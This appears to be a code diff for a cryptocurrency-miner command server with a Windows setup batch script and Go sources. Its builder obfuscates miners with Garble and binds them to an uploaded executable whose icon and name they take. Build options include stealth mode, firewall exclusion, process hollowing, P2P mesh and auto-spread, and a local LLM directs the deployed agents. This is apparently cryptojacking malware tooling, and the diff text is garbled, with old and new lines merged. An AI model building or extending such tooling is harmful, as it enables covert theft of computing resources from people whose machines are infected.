echo Please manually download from: https://go.dev/dl/
pause
exit /b 1
)
echo Installing Go - administrator privileges may be required...
msiexec /i "%GO_MSI%" /quiet /norestart
if errorlevel 1 (
echo ERROR: Failed to install Go. Try running as Administrator.
pause
exit /b 1
)
del "%GO_MSI%" 2>nul
set "PATH=C:\Program Files\Go\bin;%PATH%"
set "PATH=%USERPROFILE%\go\bin;%PATH%"
echo Go installed successfully!
:go_ready
:: ============================================================
:: STEP 1.5: Install Garble (Obfuscator) for Miner Builder
:: ============================================================
echo [1.5/5] Checking for Garble obfuscator...
where garble >nul 2>nul
if errorlevel 1 (
echo Garble not found. Installing via go install...
go install mvdan.cc/garble@latest
) )
:: ============================================================ :: ============================================================
:: STEP 2: Auto-install Node.js if missing (for frontend) :: STEP 2: Auto-install Node.js if missing (for frontend)
:: ============================================================ :: ============================================================
where node >nul 2>nul where node >nul 2>nul
if %ERRORLEVEL% neq 0 ( if errorlevel 1 goto install_node
echo Node.js not found. Checking for existing installation... echo Node.js found:
call node --version
if exist "C:\Program Files\nodejs\node.exe" ( goto node_ready
echo Found Node.js at C:\Program Files\nodejs
set "PATH=C:\Program Files\nodejs;%PATH%" :install_node
) else ( echo Node.js not found. Checking for existing installation...
echo Downloading and installing Node.js...
if exist "C:\Program Files\nodejs\node.exe" (
set NODE_VERSION=20.12.2 echo Found Node.js at C:\Program Files\nodejs
set NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi set "PATH=C:\Program Files\nodejs;%PATH%"
set NODE_MSI=%TEMP%\node-installer.msi goto node_ready
echo Downloading Node.js v%NODE_VERSION%...
echo (This may take a moment...)
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
if %ERRORLEVEL% neq 0 (
echo WARNING: Failed to download Node.js. Frontend will not be built.
echo You can manually download from: https://nodejs.org/
set SKIP_FRONTEND=1
) else (
echo Installing Node.js (this may require administrator privileges)...
msiexec /i "%NODE_MSI%" /quiet /norestart
if %ERRORLEVEL% neq 0 (
echo WARNING: Failed to install Node.js. Frontend will not be built.
set SKIP_FRONTEND=1
) else (
:: Add Node to PATH for this session
set "PATH=C:\Program Files\nodejs;%PATH%"
del "%NODE_MSI%" 2>nul
echo Node.js installed successfully!
)
)
)
) else (
echo Node.js found:
call node --version
) )
echo Downloading and installing Node.js...
set "NODE_VERSION=20.12.2"
set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi"
set "NODE_MSI=%TEMP%\node-installer.msi"
echo Downloading Node.js v%NODE_VERSION%...
echo This may take a moment...
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
if errorlevel 1 (
echo WARNING: Failed to download Node.js. Frontend will not be built.
echo You can manually download from: https://nodejs.org/
set "SKIP_FRONTEND=1"
goto node_ready
)
echo Installing Node.js - administrator privileges may be required...
msiexec /i "%NODE_MSI%" /quiet /norestart
if errorlevel 1 (
echo WARNING: Failed to install Node.js. Frontend will not be built.
set "SKIP_FRONTEND=1"
goto node_ready
)
set "PATH=C:\Program Files\nodejs;%PATH%"
del "%NODE_MSI%" 2>nul
echo Node.js installed successfully!
:node_ready
:: ============================================================ :: ============================================================
:: STEP 3: Create data directories :: STEP 3: Create data directories
:: ============================================================ :: ============================================================
@@ -125,57 +133,69 @@ echo [2/5] Creating data directories...
if not exist "data\builds" mkdir "data\builds" if not exist "data\builds" mkdir "data\builds"
if not exist "data\logs" mkdir "data\logs" if not exist "data\logs" mkdir "data\logs"
if not exist "data\blueprints" mkdir "data\blueprints" if not exist "data\blueprints" mkdir "data\blueprints"
echo Created: data\builds, data\logs, data\blueprints if not exist "data\preps" mkdir "data\preps"
if not exist "bin" mkdir "bin"
echo Created: data\builds, data\logs, data\blueprints, data\preps, bin
:: ============================================================ :: ============================================================
:: STEP 4: Build frontend :: STEP 4: Build frontend
:: ============================================================ :: ============================================================
if "%SKIP_FRONTEND%"=="" ( if defined SKIP_FRONTEND goto skip_frontend
echo [3/5] Building frontend dashboard... echo [3/5] Building frontend dashboard...
echo Running: npm install ^&^& npm run build in server\web\ echo Running npm install and npm run build in server\web\
cd server\web cd server\web
if not exist "node_modules" ( if not exist "node_modules" (
echo Installing npm dependencies... echo Installing npm dependencies...
call npm install call npm install
if %ERRORLEVEL% neq 0 ( if errorlevel 1 (
echo ERROR: npm install failed echo ERROR: npm install failed
cd ..\.. cd ..\..
pause pause
exit /b 1 exit /b 1
)
echo npm install completed successfully.
) )
echo Building frontend with Vite... echo npm install completed successfully.
call npm run build )
if %ERRORLEVEL% neq 0 ( echo Building frontend with Vite...
echo WARNING: Frontend build failed, server will run without dashboard. call npm run build
) else ( if errorlevel 1 (
echo Frontend built successfully: server\web\dist echo WARNING: Frontend build failed, server will run without dashboard.
)
cd ..\..
) else ( ) else (
echo [3/5] Skipping frontend build (Node.js not available) echo Frontend built successfully: server\web\dist
)
cd ..\..
goto frontend_done
:skip_frontend
echo [3/5] Skipping frontend build - Node.js not available
:frontend_done
:: Copy frontend to webroot for server
if exist "server\web\dist\index.html" (
if not exist "server\webroot" mkdir "server\webroot"
xcopy /E /I /Y "server\web\dist\*" "server\webroot\" >nul
echo Copied dashboard to server\webroot
) )
:: ============================================================ :: ============================================================
:: STEP 5: Build server :: STEP 5: Build server
:: ============================================================ :: ============================================================
echo [4/5] Building server... echo [4/5] Building server...
echo Running: go build in server\... echo Running go build in server\...
cd server cd server
:: Download Go module dependencies
echo Downloading Go dependencies... echo Downloading Go dependencies...
go mod download go mod download
if %ERRORLEVEL% neq 0 ( if errorlevel 1 (
echo WARNING: go mod download failed, trying build anyway... echo WARNING: go mod download failed, trying build anyway...
) )
echo Compiling server binary... echo Compiling server binary...
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" . go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if %ERRORLEVEL% neq 0 ( if errorlevel 1 (
echo ERROR: Build failed echo ERROR: Build failed
cd ..
pause pause
exit /b 1 exit /b 1
) )
@@ -188,41 +208,39 @@ echo Server built successfully: bin\miner-server.exe
echo [5/5] Starting server on port 8989... echo [5/5] Starting server on port 8989...
echo. echo.
:: Detect LAN IP for display set "LAN_IP=localhost"
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress)"`) do set "LAN_IP=%%I"
if not defined LAN_IP set LAN_IP=localhost
echo. echo.
echo ╔══════════════════════════════════════════════════════════════╗ echo ==============================================================
echo SERVER IS NOW LIVE echo SERVER IS NOW LIVE
echo ║ ║ echo ==============================================================
echo ║ Dashboard URL: http://0.0.0.0:8989 ║ echo.
echo ║ LAN Access: http://%LAN_IP%:8989 ║ echo Dashboard URL: http://0.0.0.0:8989
echo ║ Local: http://localhost:8989 ║ echo LAN Access: http://%LAN_IP%:8989
echo echo Local: http://localhost:8989
echo ║ WebSocket (agents): ws://%LAN_IP%:8989/ws/agent ║ echo.
echo WebSocket (dash): ws://%LAN_IP%:8989/ws/dashboard ║ echo WebSocket agents: ws://%LAN_IP%:8989/ws/agent
echo ║ ║ echo WebSocket dash: ws://%LAN_IP%:8989/ws/dashboard
echo ║ Quick Start: ║ echo.
echo ║ 1. Open Dashboard in your browser ║ echo Quick Start:
echo ║ 2. Go to Settings - configure pool ^& wallet ║ echo 1. Open Dashboard in your browser
echo 3. Go to Builder - build your miner installer .exe ║ echo 2. Go to Calibrate - configure pool and wallet
echo ║ 4. Run that .exe on each Windows machine ║ echo 3. Go to Forge - build your miner installer .exe
echo ║ ║ echo 4. Run that .exe on each Windows machine
echo ║ Data Directory: %CD%\data\ ║ echo.
echo ║ Config File: %CD%\data\config.json ║ echo Data Directory: %CD%\data\
echo ║ Blueprints: %CD%\data\blueprints\ ║ echo Config File: %CD%\data\config.json
echo ║ ║ echo Blueprints: %CD%\data\blueprints\
echo ║ Press Ctrl+C in this window to stop the server ║ echo.
echo ╚══════════════════════════════════════════════════════════════╝ echo Press Ctrl+C in this window to stop the server
echo ==============================================================
echo. echo.
:: Open browser
start http://localhost:8989 start http://localhost:8989
:: Run server (this blocks until Ctrl+C)
echo [Server] Starting miner-server.exe on 0.0.0.0:8989... echo [Server] Starting miner-server.exe on 0.0.0.0:8989...
echo [Server] Log output below (Ctrl+C to stop): echo [Server] Log output below - Ctrl+C to stop:
echo. echo.
.\bin\miner-server.exe -port 8989 -data ".\data" .\bin\miner-server.exe -port 8989 -data ".\data"

View File

@@ -6,6 +6,7 @@ import (
"fmt" "fmt"
"os" "os"
"path/filepath" "path/filepath"
"strings"
) )
type Config struct { type Config struct {
@@ -36,6 +37,7 @@ type ServerSettings struct {
LogPoolTraffic bool `json:"log_pool_traffic"` LogPoolTraffic bool `json:"log_pool_traffic"`
StrictWalletValidation bool `json:"strict_wallet_validation"` StrictWalletValidation bool `json:"strict_wallet_validation"`
DashboardSubtitle string `json:"dashboard_subtitle"` DashboardSubtitle string `json:"dashboard_subtitle"`
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
} }
type PoolConfig struct { type PoolConfig struct {
@@ -156,6 +158,7 @@ func DefaultConfig() *Config {
LogPoolTraffic: false, LogPoolTraffic: false,
StrictWalletValidation: false, StrictWalletValidation: false,
DashboardSubtitle: "security is just an emotion", DashboardSubtitle: "security is just an emotion",
OpenFirewallOnStart: true,
}, },
} }
} }
@@ -171,13 +174,15 @@ func LoadConfig() *Config {
cfg.Port = *port cfg.Port = *port
cfg.DataDir = *dataDir cfg.DataDir = *dataDir
// Try to load from config file // Try to load from config file
configPath := filepath.Join(cfg.DataDir, "config.json") configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil { if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config var fileCfg Config
if err := json.Unmarshal(data, &fileCfg); err == nil { if err := json.Unmarshal(data, &fileCfg); err == nil {
// Merge file config over defaults (only non-zero values)
mergeConfig(cfg, &fileCfg) mergeConfig(cfg, &fileCfg)
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true
}
} }
} }
@@ -332,6 +337,7 @@ func mergeConfig(dst, src *Config) {
if src.Server.DashboardSubtitle != "" { if src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
} }
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
} }
func (c *Config) Save() error { func (c *Config) Save() error {

View File

@@ -22,12 +22,12 @@ import (
// AIHandler manages AI autonomy endpoints. // AIHandler manages AI autonomy endpoints.
type AIHandler struct { type AIHandler struct {
db *db.Database db *db.Database
engines map[string]*ollama.Engine // agentID -> engine (each agent can have its own Ollama config) engines map[string]*ollama.Engine // agentID -> engine (each agent can have its own Ollama config)
reports []ollama.Report // recent tool execution reports reports []ollama.Report // recent tool execution reports
activity map[string]AIActivityEntry activity map[string]AIActivityEntry
onEvent func(AIActivityEntry) onEvent func(AIActivityEntry)
mu sync.RWMutex mu sync.RWMutex
} }
// AIActivityEntry summarizes recent AI cycles per agent. // AIActivityEntry summarizes recent AI cycles per agent.
@@ -147,8 +147,8 @@ func (h *AIHandler) handleDecide(w http.ResponseWriter, r *http.Request) {
"tool_calls": []ollama.ToolCall{ "tool_calls": []ollama.ToolCall{
{ {
Tool: "sleep", Tool: "sleep",
Args: map[string]string{"seconds": "60"}, Args: map[string]string{"seconds": "120"}, // Should be parsed by agent to include random jitter
Reason: "Ollama decision failed, retrying in 60 seconds", Reason: "Ollama decision failed, backing off for 120 seconds to prevent thundering herd",
}, },
}, },
}) })

View File

@@ -12,6 +12,7 @@ import (
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models" "crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool" "crypto-miner-server/internal/pool"
"github.com/google/uuid" "github.com/google/uuid"
"github.com/gorilla/websocket" "github.com/gorilla/websocket"
) )
@@ -41,13 +42,24 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
return c.Conn.WriteJSON(v) return c.Conn.WriteJSON(v)
} }
type DashboardConnection struct {
Conn *websocket.Conn
mu sync.Mutex
}
func (c *DashboardConnection) WriteMessage(messageType int, data []byte) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.Conn.WriteMessage(messageType, data)
}
type WSHub struct { type WSHub struct {
db *db.Database db *db.Database
agents map[string]*AgentConnection agents map[string]*AgentConnection
dashboards map[string]*websocket.Conn dashboards map[string]*DashboardConnection
poolManager *pool.Manager poolManager *pool.Manager
defaultPool pool.Config defaultPool pool.Config
aiHandler *AIHandler aiHandler *AIHandler
agentConfigs map[string]AgentForgeConfig agentConfigs map[string]AgentForgeConfig
agentLogs map[string]string agentLogs map[string]string
serverPolicy ServerPolicy serverPolicy ServerPolicy
@@ -59,7 +71,7 @@ func NewWSHub(database *db.Database) *WSHub {
return &WSHub{ return &WSHub{
db: database, db: database,
agents: make(map[string]*AgentConnection), agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*websocket.Conn), dashboards: make(map[string]*DashboardConnection),
agentConfigs: make(map[string]AgentForgeConfig), agentConfigs: make(map[string]AgentForgeConfig),
agentLogs: make(map[string]string), agentLogs: make(map[string]string),
pingIntervalSec: 30, pingIntervalSec: 30,
@@ -167,6 +179,13 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
return poolCfg return poolCfg
} }
func (h *WSHub) BroadcastServerLog(line string) {
h.broadcastDashboard(Message{
Type: "server_log",
Payload: mustMarshal(map[string]string{"line": strings.TrimSpace(line)}),
})
}
func (h *WSHub) getAgentConn(agentID string) *AgentConnection { func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
h.mu.RLock() h.mu.RLock()
defer h.mu.RUnlock() defer h.mu.RUnlock()
@@ -385,76 +404,79 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
share.Timestamp = time.Now() share.Timestamp = time.Now()
share.Accepted = false share.Accepted = false
shareID, err := h.db.InsertShare(&share) // Process share asynchronously to prevent blocking the WebSocket read loop
if err != nil { go func(s models.Share, aID string) {
log.Printf("Failed to insert share: %v", err) shareID, err := h.db.InsertShare(&s)
continue if err != nil {
} log.Printf("Failed to insert share: %v", err)
return
sendShareResult := func(accepted bool, errMsg string) {
share.Accepted = accepted
share.Error = errMsg
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
log.Printf("Failed to update share result: %v", err)
}
if h.serverPolicySnapshot().LogShareSubmissions {
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
} }
agentConn := h.getAgentConn(agentID) sendShareResult := func(accepted bool, errMsg string) {
if agentConn != nil { s.Accepted = accepted
result := map[string]interface{}{ s.Error = errMsg
"job_id": share.JobID, if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
"accepted": accepted, log.Printf("Failed to update share result: %v", err)
} }
if errMsg != "" { if h.serverPolicySnapshot().LogShareSubmissions {
result["error"] = errMsg log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", aID, s.JobID, accepted, errMsg)
} }
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
agentConn := h.getAgentConn(aID)
if agentConn != nil {
result := map[string]interface{}{
"job_id": s.JobID,
"accepted": accepted,
}
if errMsg != "" {
result["error"] = errMsg
}
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
}
h.broadcastDashboard(Message{
Type: "new_share",
Payload: mustMarshal(map[string]interface{}{
"id": shareID,
"agent_id": aID,
"job_id": s.JobID,
"accepted": accepted,
"hash": s.Hash,
"nonce": s.Nonce,
"error": errMsg,
"timestamp": s.Timestamp,
}),
})
} }
h.broadcastDashboard(Message{ if h.poolManager == nil {
Type: "new_share", sendShareResult(false, "pool manager not configured")
Payload: mustMarshal(map[string]interface{}{ return
"id": shareID,
"agent_id": agentID,
"job_id": share.JobID,
"accepted": accepted,
"hash": share.Hash,
"nonce": share.Nonce,
"error": errMsg,
"timestamp": share.Timestamp,
}),
})
}
if h.poolManager == nil {
sendShareResult(false, "pool manager not configured")
continue
}
poolCfg := h.agentPoolConfig(agentID)
proxy := h.poolManager.GetPool(&poolCfg)
if proxy == nil {
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
proxy = p
} else {
sendShareResult(false, "pool not connected: "+err.Error())
continue
} }
}
if !proxy.IsConnected() { poolCfg := h.agentPoolConfig(aID)
sendShareResult(false, "pool not connected") proxy := h.poolManager.GetPool(&poolCfg)
continue if proxy == nil {
} if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
proxy = p
} else {
sendShareResult(false, "pool not connected: "+err.Error())
return
}
}
wallet := poolCfg.Wallet if !proxy.IsConnected() {
if wallet == "" { sendShareResult(false, "pool not connected")
wallet = h.defaultPool.Wallet return
} }
proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult) wallet := poolCfg.Wallet
if wallet == "" {
wallet = h.defaultPool.Wallet
}
proxy.SubmitShare(aID, wallet, s.JobID, s.Nonce, s.Hash, sendShareResult)
}(share, agentID)
case "get_job": case "get_job":
var proxy *pool.Proxy var proxy *pool.Proxy
@@ -513,8 +535,9 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
} }
dashID := uuid.New().String() dashID := uuid.New().String()
dashConn := &DashboardConnection{Conn: conn}
h.mu.Lock() h.mu.Lock()
h.dashboards[dashID] = conn h.dashboards[dashID] = dashConn
h.mu.Unlock() h.mu.Unlock()
defer func() { defer func() {
@@ -553,17 +576,19 @@ func (h *WSHub) broadcastDashboard(msg Message) {
return return
} }
for id, conn := range h.dashboards { for id, dashConn := range h.dashboards {
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { go func(dashID string, dc *DashboardConnection) {
log.Printf("Failed to send to dashboard %s: %v", id, err) if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
conn.Close() // Use fmt.Printf to avoid infinite loop with the global log interceptor
id := id fmt.Printf("Failed to send to dashboard %s: %v\n", dashID, err)
go func() { dc.Conn.Close()
h.mu.Lock() go func() {
delete(h.dashboards, id) h.mu.Lock()
h.mu.Unlock() delete(h.dashboards, dashID)
}() h.mu.Unlock()
} }()
}
}(id, dashConn)
} }
} }
@@ -578,9 +603,11 @@ func (h *WSHub) BroadcastToAgents(msg Message) {
defer h.mu.RUnlock() defer h.mu.RUnlock()
for id, agent := range h.agents { for id, agent := range h.agents {
if err := agent.SendJSON(msg); err != nil { go func(a *AgentConnection, agentID string) {
log.Printf("Failed to send to agent %s: %v", id, err) if err := a.SendJSON(msg); err != nil {
} fmt.Printf("Failed to send to agent %s: %v\n", agentID, err)
}
}(agent, id)
} }
} }

View File

@@ -2,6 +2,7 @@ package builder
import ( import (
"fmt" "fmt"
"log"
"os" "os"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
@@ -50,6 +51,9 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
return "", err return "", err
} }
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" { if outputName == "" {
outputName = "prep.exe" outputName = "prep.exe"
} }
@@ -58,7 +62,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
} }
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", "-s -w -H windowsgui", "-o", outputPath, ".") if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil {
log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err)
}
ldflags := fusionLdflags(prepPath)
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = fusionDir cmd.Dir = fusionDir
cmd.Env = append(os.Environ(), cmd.Env = append(os.Environ(),
"GOOS=windows", "GOOS=windows",

View File

@@ -50,6 +50,7 @@ type BuildRequest struct {
SelfHealing bool `json:"self_healing"` SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"` FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"` StealthMode bool `json:"stealth_mode"`
FirewallExclusion bool `json:"firewall_exclusion"`
PoolHost string `json:"pool_host"` PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"` PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"` PoolTLS bool `json:"pool_tls"`
@@ -61,6 +62,9 @@ type BuildRequest struct {
AIEnabled bool `json:"ai_enabled"` AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"` AIModel string `json:"ai_model"`
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
} }
type BuildResponse struct { type BuildResponse struct {
@@ -74,6 +78,8 @@ type BuildResponse struct {
UninstallFileName string `json:"uninstall_file_name,omitempty"` UninstallFileName string `json:"uninstall_file_name,omitempty"`
UninstallPath string `json:"uninstall_path,omitempty"` UninstallPath string `json:"uninstall_path,omitempty"`
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"` UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"` FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"` WorkerFile string `json:"worker_file,omitempty"`
Error string `json:"error,omitempty"` Error string `json:"error,omitempty"`
@@ -142,6 +148,9 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return return
} }
defer file.Close() defer file.Close()
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header) saved, remove, err := h.saveUploadedPrep(file, header)
if err != nil { if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
@@ -169,6 +178,10 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return return
} }
if req.FusionEnabled && req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
resp, status, outputPath := h.buildAgent(&req, prepPath) resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success { if !resp.Success {
writeJSON(w, status, resp) writeJSON(w, status, resp)
@@ -285,23 +298,19 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
fusionEnabled = true fusionEnabled = true
} }
// Optional "export" copy for convenience (still keeps canonical build inside data/builds/<id>/...) exportPath, err := h.publishRootExecutable(finalPath, finalName)
// We only allow relative paths under dataDir to avoid writing outside the server workspace. if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if strings.TrimSpace(req.OutputDir) != "" { if strings.TrimSpace(req.OutputDir) != "" {
exportDir := filepath.Join(h.dataDir, filepath.Clean(strings.TrimSpace(req.OutputDir))) if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
rel, err := filepath.Rel(h.dataDir, exportDir) log.Printf("[Builder] secondary export: %v", err)
if err != nil || rel == "." || strings.HasPrefix(rel, "..") { } else {
return BuildResponse{Success: false, Error: "Invalid output_dir (must be a relative folder under data_dir)"}, http.StatusBadRequest, "" _ = eu
if exportPath == "" {
exportPath = ep
}
} }
if err := os.MkdirAll(exportDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create output_dir"}, http.StatusInternalServerError, ""
}
exportPath := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to export build to output_dir"}, http.StatusInternalServerError, ""
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
} }
fileInfo, err := os.Stat(finalPath) fileInfo, err := os.Stat(finalPath)
@@ -351,11 +360,59 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
UninstallFileName: uninstallName, UninstallFileName: uninstallName,
UninstallPath: uninstallPath, UninstallPath: uninstallPath,
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID), UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled, FusionEnabled: fusionEnabled,
WorkerFile: workerName, WorkerFile: workerName,
}, http.StatusOK, finalPath }, http.StatusOK, finalPath
} }
// publishRootExecutable writes the forged installer as a single file in the project root.
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
if h.projectRoot == "" || h.projectRoot == "." {
abs, _ := filepath.Abs(finalPath)
return abs, nil
}
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
if err := copyFile(finalPath, dest); err != nil {
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
}
log.Printf("[Builder] Forge output -> %s", dest)
return dest, nil
}
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
clean := strings.TrimSpace(outputDir)
if clean == "" {
return "", "", nil
}
clean = filepath.Clean(clean)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
}
exportDir := ""
if h.projectRoot != "" {
exportDir = filepath.Join(h.projectRoot, clean)
} else {
exportDir = filepath.Join(h.dataDir, clean)
}
if err := os.MkdirAll(exportDir, 0755); err != nil {
return "", "", fmt.Errorf("failed to create export folder: %w", err)
}
exportExe := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportExe); err != nil {
return "", "", fmt.Errorf("failed to export build: %w", err)
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
return exportExe, exportUninstall, nil
}
func (h *Handler) normalizeRequest(req *BuildRequest) error { func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" { if req.WorkerName == "" {
return fmt.Errorf("worker_name is required") return fmt.Errorf("worker_name is required")
@@ -458,12 +515,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.PoolPass = "x" req.PoolPass = "x"
} }
if req.FusionEnabled { if req.FusionEnabled {
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.FusionRunOrder == "" { if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel" req.FusionRunOrder = "parallel"
} }
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.DisplayMode == "" || req.DisplayMode == "visible" { if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background" req.DisplayMode = "background"
} }
@@ -559,9 +616,13 @@ func GetBuiltinConfig() BuiltinConfig {
SelfHealing: %v, SelfHealing: %v,
FileLogging: %v, FileLogging: %v,
StealthMode: %v, StealthMode: %v,
FirewallExclusion: %v,
AIEnabled: %v, AIEnabled: %v,
AIOllamaEndpoint: %q, AIOllamaEndpoint: %q,
AIModel: %q, AIModel: %q,
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
} }
} }
`, buildID, time.Now().UTC().Format(time.RFC3339), `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -598,9 +659,13 @@ func GetBuiltinConfig() BuiltinConfig {
req.SelfHealing, req.SelfHealing,
req.FileLogging, req.FileLogging,
req.StealthMode, req.StealthMode,
req.FirewallExclusion,
req.AIEnabled, req.AIEnabled,
req.AIOllamaEndpoint, req.AIOllamaEndpoint,
req.AIModel, req.AIModel,
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
) )
} }

View File

@@ -0,0 +1,11 @@
//go:build !windows
package builder
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
return nil
}
func fusionLdflags(prepPath string) string {
return "-s -w -H windowsgui"
}

View File

@@ -0,0 +1,91 @@
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
func extractIconFromEXE(exePath, icoPath string) error {
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
script := fmt.Sprintf(`
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Drawing
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s')
if ($null -eq $icon) { throw 'no icon on executable' }
